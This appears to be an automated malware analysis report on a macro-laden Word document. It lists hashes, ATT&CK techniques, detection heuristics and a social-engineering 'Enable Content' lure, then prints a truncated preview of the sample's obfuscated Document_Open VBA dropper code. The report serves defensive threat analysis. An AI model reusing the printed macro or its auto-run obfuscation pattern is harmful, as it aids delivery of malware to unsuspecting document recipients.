Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eff78c23790ee834…

MALICIOUS

Office (OLE)

2.29 MB Created: 2017-12-04 10:14:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 5de97ae178888f2dd222bb8a66060ac2 SHA-1: 32f723050afe20a3b5b6c3a1d60db385045a3dbf SHA-256: eff78c23790ee834f773569b52cddb01dc3c4dd9660f5a476af044ef6fe73894
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for malware delivery. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', indicating a social engineering lure to bypass security measures. The VBA script likely attempts to download and execute a second-stage payload, as suggested by the 'CreateObject' and 'GetObject' calls and the presence of obfuscated code.

Heuristics 9

  • ClamAV: Doc.Malware.Generic-7570500-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7570500-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://na.gov.pk/ In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 621200 bytes
SHA-256: a27756502efb5a99772b36be78178b79c411291a658d3a92a1971832e432e02d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 712 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox"

Option Explicit

Private Sub CommandButton1_Click()
MsgBox "Certificate Fail"
End Sub

Sub Document_Open()
On Error Resume Next


Dim TBhB, SIFt, FlHZ As String
TBhB = MAQF(MWrL)
SIFt = MAQF(oJXu)
FlHZ = MAQF(FVMr)


Dim iOME As String
iOME = JqGk(OEDP(201, 154))
iOME = jIkI(iOME, JqGk(OEDP(214, 181)))
iOME = jIkI(iOME, JqGk(OEDP(177, 195)))
iOME = jIkI(iOME, JqGk(OEDP(117, 28)))
iOME = jIkI(iOME, JqGk(OEDP(74, 58)))
iOME = jIkI(iOME, JqGk(OEDP(196, 176)))
iOME = jIkI(iOME, JqGk(OEDP(117, 28)))
iOME = jIkI(iOME, JqGk(OEDP(18, 124)))
iOME = jIkI(iOME, JqGk(OEDP(244, 147)))
iOME = jIkI(iOME, JqGk(OEDP(75, 101)))
iOME = jIkI(iOME, JqGk(OEDP(140, 202)))
iOME = jIkI(iOME, JqGk(OEDP(117, 28)))
iOME = jIkI(iOME, JqGk(OEDP(123, 23)))
iOME = jIkI(iOME, JqGk(OEDP(182, 211)))
iOME = jIkI(iOME, JqGk(OEDP(201, 154)))
iOME = jIkI(iOME, JqGk(OEDP(201, 176)))
iOME = jIkI(iOME, JqGk(OEDP(45, 94)))
iOME = jIkI(iOME, JqGk(OEDP(196, 176)))
iOME = jIkI(iOME, JqGk(OEDP(182, 211)))
iOME = jIkI(iOME, JqGk(OEDP(201, 164)))
iOME = jIkI(iOME, JqGk(OEDP(94, 17)))
iOME = jIkI(iOME, JqGk(OEDP(253, 159)))
iOME = jIkI(iOME, JqGk(OEDP(252, 150)))
iOME = jIkI(iOME, JqGk(OEDP(182, 211)))
iOME = jIkI(iOME, JqGk(OEDP(214, 181)))
iOME = jIkI(iOME, JqGk(OEDP(196, 176)))

Dim pDHT As String
pDHT = TBhB
Dim aFMf As String
aFMf = ""
aFMf = jIkI(aFMf, JqGk(OEDP(7, 68)))
aFMf = jIkI(aFMf, JqGk(OEDP(99, 89)))
aFMf = jIkI(aFMf, "\")
aFMf = jIkI(aFMf, JqGk(OEDP(59, 107)))
aFMf = jIkI(aFMf, JqGk(OEDP(177, 195)))
aFMf = jIkI(aFMf, JqGk(OEDP(201, 166)))
aFMf = jIkI(aFMf, JqGk(OEDP(244, 147)))
aFMf = jIkI(aFMf, JqGk(OEDP(177, 195)))
aFMf = jIkI(aFMf, JqGk(OEDP(255, 158)))
aFMf = jIkI(aFMf, JqGk(OEDP(201, 164)))
aFMf = jIkI(aFMf, JqGk(OEDP(80, 20)))
aFMf = jIkI(aFMf, JqGk(OEDP(255, 158)))
aFMf = jIkI(aFMf, JqGk(OEDP(196, 176)))
aFMf = jIkI(aFMf, JqGk(OEDP(255, 158)))
aFMf = jIkI(aFMf, "\")
aFMf = jIkI(aFMf, JqGk(OEDP(243, 164)))
aFMf = jIkI(aFMf, JqGk(OEDP(117, 28)))
aFMf = jIkI(aFMf, JqGk(OEDP(18, 124)))
aFMf = jIkI(aFMf, JqGk(OEDP(17, 117)))
aFMf = jIkI(aFMf, JqGk(OEDP(201, 166)))
aFMf = jIkI(aFMf, JqGk(OEDP(222, 169)))
aFMf = jIkI(aFMf, JqGk(OEDP(45, 94)))
aFMf = jIkI(aFMf, JqGk(OEDP(80, 20)))
aFMf = jIkI(aFMf, JqGk(OEDP(182, 211)))
aFMf = jIkI(aFMf, JqGk(OEDP(43, 77)))
aFMf = jIkI(aFMf, JqGk(OEDP(182, 211)))
aFMf = jIkI(aFMf, JqGk(OEDP(18, 124)))
aFMf = jIkI(aFMf, JqGk(OEDP(17, 117)))
aFMf = jIkI(aFMf, JqGk(OEDP(182, 211)))
aFMf = jIkI(aFMf, JqGk(OEDP(177, 195)))
aFMf = jIkI(aFMf, JqGk(OEDP(75, 101)))
aFMf = jIkI(aFMf, JqGk(OEDP(117, 28)))
aFMf = jIkI(aFMf, JqGk(OEDP(18, 124)))
aFMf = jIkI(aFMf, JqGk(OEDP(117, 28)))

pLcD aFMf, pDHT, iOME

Dim FDeE As String
FDeE = ""
FDeE = jIkI(FDeE, JqGk(OEDP(7, 68)))
FDeE = jIkI(FDeE, JqGk(OEDP(99, 89)))
FDeE = jIkI(FDeE, "\")
FDeE = jIkI(FDeE, JqGk(OEDP(59, 107)))
FDeE = jIkI(FDeE, JqGk(OEDP(177, 195)))
FDeE = jIkI(FDeE, JqGk(OEDP(201, 166)))
FDeE = jIkI(FDeE, JqGk(OEDP(244, 147)))
FDeE = jIkI(FDeE, JqGk(OEDP(177, 195)))
FDeE = jIkI(FDeE, JqGk(OEDP(255, 158)))
FDeE = jIkI(FDeE, JqGk(OEDP(201, 164)))
FDeE = jIkI(FDeE, JqGk(OEDP(80, 20)))
FDeE = jIkI(FDeE, JqGk(OEDP(255, 158)))
FDeE = jIkI(FDeE, JqGk(OEDP(196, 176)))
FDeE = jIkI(FDeE, JqGk(OEDP(255, 158)))
FDeE = jIkI(FDeE, "\")
FDeE = jIkI(FDeE, JqGk(OEDP(80, 20)))
FDeE = jIkI(FDeE, JqGk(OEDP(182, 211)))
FDeE = jIkI(FDeE, JqGk(OEDP(43, 77)))
FDeE = jIkI(FDeE, JqGk(OEDP(182, 211)))
FDeE = jIkI(FDeE, JqGk(OEDP(18, 124)))
FDeE = jIkI(FDeE, JqGk(OEDP(17, 117)))
FDeE = jIkI(FDeE, JqGk(OEDP(182, 211)))
FDeE = jIkI(FDeE, JqGk(OEDP(177, 195)))
FDeE = jIkI(FDeE, JqGk(OEDP(
... (truncated)